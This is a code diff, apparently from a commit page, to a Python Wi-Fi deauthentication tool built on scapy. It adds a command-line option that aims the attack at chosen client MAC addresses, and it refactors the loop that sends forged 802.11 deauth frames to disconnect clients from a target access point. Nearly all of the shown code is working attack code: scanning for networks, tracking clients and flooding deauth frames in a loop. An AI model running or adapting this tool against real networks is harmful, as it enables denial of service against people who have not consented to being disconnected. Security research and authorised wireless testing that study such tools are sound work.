33import signal
44import logging
55import argparse
6+ import threading
67
78logging .getLogger ("scapy.runtime" ).setLevel (logging .ERROR ) # suppress warnings
89
3233class Interceptor :
3334 _ABORT = False
3435
35- def __init__ (self , net_iface , skip_monitor_mode_setup , kill_networkmanager , bssid_name , custom_channels ):
36+ def __init__ (self , net_iface , skip_monitor_mode_setup , kill_networkmanager ,
37+ bssid_name , custom_client_macs , custom_channels ):
3638 self .interface = net_iface
3739 self ._channel_sniff_timeout = 2
3840 self ._scan_intv = 0.1
@@ -65,9 +67,13 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
6567 self ._all_ssids : Dict [BandType , Dict [str , SSID ]] = {band : dict () for band in BandType }
6668
6769 self ._custom_bssid_name : Union [str , None ] = self .parse_custom_bssid_name (bssid_name )
70+ self ._custom_target_client_mac : Union [List [str ], None ] = self .parse_custom_client_mac (custom_client_macs )
6871 self ._custom_bssid_channels : List [int ] = self .parse_custom_channels (custom_channels )
6972 self ._custom_bssid_last_ch = 0 # to avoid overlapping
7073
74+ self ._midrun_output_buffer : List [str ] = list ()
75+ self ._midrun_output_lck = threading .RLock ()
76+
7177 @staticmethod
7278 def parse_custom_bssid_name (bssid_name : Union [None , str ]) -> Union [None , str ]:
7379 if bssid_name is not None :
@@ -77,6 +83,28 @@ def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]:
7783 raise Exception ("Invalid BSSID name" )
7884 return bssid_name
7985
86+ @staticmethod
87+ def verify_mac_addr (mac_addr : str ) -> str :
88+ try :
89+ RandMAC (mac_addr )
90+ return mac_addr
91+ except Exception as exc :
92+ print_error (f"Invalid custom client mac address -> { mac_addr } " )
93+ raise Exception ("Bad custom client mac address" )
94+
95+ @staticmethod
96+ def parse_custom_client_mac (client_mac_addrs : Union [None , str ]) -> List [str ]:
97+ custom_client_mac_list = list ()
98+ if client_mac_addrs is not None :
99+ custom_client_mac_list = [Interceptor .verify_mac_addr (mac ) for mac in client_mac_addrs .split (',' )]
100+
101+ if custom_client_mac_list :
102+ print_info (f"Disabling broadcast deauth, attacking custom clients instead: { custom_client_mac_list } " )
103+ else :
104+ print_info (f"No custom clients selected, enabling broadcast deauth and attacking all connected clients" )
105+
106+ return custom_client_mac_list
107+
80108 def parse_custom_channels (self , channel_list : Union [None , str ]):
81109 ch_list = list ()
82110 if channel_list is not None :
@@ -101,6 +129,7 @@ def _enable_monitor_mode(self):
101129 f"sudo ip link set { self .interface } up" ]:
102130 print_cmd (f"Running command -> '{ BOLD } { cmd } { RESET } '" )
103131 if os .system (cmd ):
132+ os .system (f"sudo ip link set { self .interface } up" ) # re-enable iface if needed
104133 return False
105134 return True
106135
@@ -215,11 +244,26 @@ def _clients_sniff_cb(self, pkt):
215244 ap_mac = str (pkt .addr3 )
216245 if ap_mac == self .target_ssid .mac_addr :
217246 c_mac = pkt .addr1
218- if c_mac != BD_MACADDR and c_mac not in self .target_ssid .clients :
247+ if c_mac not in [ BD_MACADDR , self . target_ssid . mac_addr ] and c_mac not in self .target_ssid .clients :
219248 self .target_ssid .clients .append (c_mac )
249+ add_to_target_list = len (self ._custom_target_client_mac ) == 0 or c_mac in self ._custom_target_client_mac
250+ with self ._midrun_output_lck :
251+ self ._midrun_output_buffer .append (f"Found new client { BOLD } { c_mac } { RESET } ,"
252+ f" adding to target list -> "
253+ f"{ GREEN if add_to_target_list else RED } { add_to_target_list } { RESET } " )
220254 except :
221255 pass
222256
257+ def _print_midrun_output (self ):
258+ bf_sz = len (self ._midrun_output_buffer )
259+ with self ._midrun_output_lck :
260+ for output in self ._midrun_output_buffer :
261+ print_cmd (output )
262+ if bf_sz > 0 :
263+ printf (DELIM , end = "\n " )
264+ bf_sz += 1
265+ return bf_sz
266+
223267 @staticmethod
224268 def _packet_confirms_client (pkt ):
225269 return (pkt .haslayer (Dot11AssoResp ) and pkt [Dot11AssoResp ].status == 0 ) or \
@@ -230,57 +274,67 @@ def _listen_for_clients(self):
230274 print_info (f"Setting up a listener for new clients..." )
231275 sniff (prn = self ._clients_sniff_cb , iface = self .interface , stop_filter = lambda p : Interceptor ._ABORT is True )
232276
277+ def _get_target_clients (self ) -> List [str ]:
278+ return self ._custom_target_client_mac or self .target_ssid .clients
279+
233280 def _run_deauther (self ):
234281 try :
235282 print_info (f"Starting de-auth loop..." )
236283
237284 ap_mac = self .target_ssid .mac_addr
238-
239- rd_frm = RadioTap ()
240- deauth_frm = Dot11Deauth (reason = 7 )
241285 while not Interceptor ._ABORT :
242286 self .attack_loop_count += 1
243- sendp (rd_frm /
244- Dot11 (addr1 = BD_MACADDR , addr2 = ap_mac , addr3 = ap_mac ) /
245- deauth_frm ,
246- iface = self .interface )
247- for client_mac in self .target_ssid .clients :
248- sendp (rd_frm /
249- Dot11 (addr1 = client_mac , addr2 = ap_mac , addr3 = ap_mac ) /
250- deauth_frm ,
251- iface = self .interface )
252- sendp (rd_frm /
253- Dot11 (addr1 = ap_mac , addr2 = ap_mac , addr3 = client_mac ) /
254- deauth_frm ,
255- iface = self .interface )
287+ for client_mac in self ._get_target_clients ():
288+ self ._send_deauth_client (ap_mac , client_mac )
289+ if not self ._custom_target_client_mac :
290+ self ._send_deauth_broadcast (ap_mac )
256291 sleep (self ._deauth_intv )
257292 except Exception as exc :
258293 print_error (f"Exception in deauth-loop -> { traceback .format_exc ()} " )
259294 Interceptor ._ABORT = True
260295 exit (0 )
261296
297+ def _send_deauth_client (self , ap_mac : str , client_mac : str ):
298+ sendp (RadioTap () /
299+ Dot11 (addr1 = client_mac , addr2 = ap_mac , addr3 = ap_mac ) /
300+ Dot11Deauth (reason = 7 ),
301+ iface = self .interface )
302+ sendp (RadioTap () /
303+ Dot11 (addr1 = ap_mac , addr2 = ap_mac , addr3 = client_mac ) /
304+ Dot11Deauth (reason = 7 ),
305+ iface = self .interface )
306+
307+ def _send_deauth_broadcast (self , ap_mac : str ):
308+ sendp (RadioTap () /
309+ Dot11 (addr1 = BD_MACADDR , addr2 = ap_mac , addr3 = ap_mac ) /
310+ Dot11Deauth (reason = 7 ),
311+ iface = self .interface )
312+
262313 def run (self ):
263314 self .target_ssid = self ._start_initial_ap_scan ()
264315 ssid_ch = self .target_ssid .channel
265316 print_info (f"Attacking target { self .target_ssid .name } " )
266317 print_info (f"Setting channel -> { ssid_ch } " )
267318 self ._set_channel (ssid_ch )
268319
320+ printf (f"{ DELIM } \n " )
269321 for action in [self ._run_deauther , self ._listen_for_clients ]:
270322 t = Thread (target = action , args = tuple (), daemon = True )
271323 t .start ()
272324
273- printf (f"{ DELIM } \n " )
274325 start = get_time ()
326+ printf (f"{ DELIM } \n " )
327+
275328 while not Interceptor ._ABORT :
329+ buffer_sz = self ._print_midrun_output ()
276330 print_info (f"Target SSID{ self .target_ssid .name .rjust (80 - 15 , ' ' )} " )
277331 print_info (f"Channel{ str (ssid_ch ).rjust (80 - 11 , ' ' )} " )
278332 print_info (f"MAC addr{ self .target_ssid .mac_addr .rjust (80 - 12 , ' ' )} " )
279333 print_info (f"Net interface{ self .interface .rjust (80 - 17 , ' ' )} " )
280- print_info (f"Confirmed clients{ BOLD } { str (len (self .target_ssid . clients )) .rjust (80 - 21 , ' ' )} { RESET } " )
334+ print_info (f"Target clients{ BOLD } { str (len (self ._get_target_clients ())) .rjust (80 - 18 , ' ' )} { RESET } " )
281335 print_info (f"Elapsed sec { BOLD } { str (get_time () - start ).rjust (80 - 16 , ' ' )} { RESET } " )
282336 sleep (self ._printf_res_intv )
283- clear_line (7 )
337+ clear_line (7 + buffer_sz )
284338
285339 @staticmethod
286340 def user_abort (* args ):
@@ -315,7 +369,10 @@ def main():
315369 action = 'store_true' , default = False , dest = "kill_networkmanager" , required = False )
316370 parser .add_argument ('-b' , '--bssid' , help = 'custom BSSID name (case-sensitive)' , metavar = "bssid_name" ,
317371 action = 'store' , default = None , dest = "custom_bssid" , required = False )
318- parser .add_argument ('-c' , '--channels' , help = 'custom channels to scan, separated by a comma (i.e -> 1,3,4)' ,
372+ parser .add_argument ('-cm' , '--clients' , help = 'MAC addresses of target clients to disconnect,'
373+ ' separated by a comma (i.e -> 00:1A:2B:3C:4D:5G,00:1a:2b:3c:4d:5e)' , metavar = "client_mac_addrs" ,
374+ action = 'store' , default = None , dest = "custom_client_macs" , required = False )
375+ parser .add_argument ('-ch' , '--channels' , help = 'custom channels to scan, separated by a comma (i.e -> 1,3,4)' ,
319376 metavar = "ch1,ch2" , action = 'store' , default = None , dest = "custom_channels" , required = False )
320377 pargs = parser .parse_args ()
321378
@@ -324,6 +381,7 @@ def main():
324381 skip_monitor_mode_setup = pargs .skip_monitormode ,
325382 kill_networkmanager = pargs .kill_networkmanager ,
326383 bssid_name = pargs .custom_bssid ,
384+ custom_client_macs = pargs .custom_client_macs ,
327385 custom_channels = pargs .custom_channels )
328386 attacker .run ()
329387
0 commit comments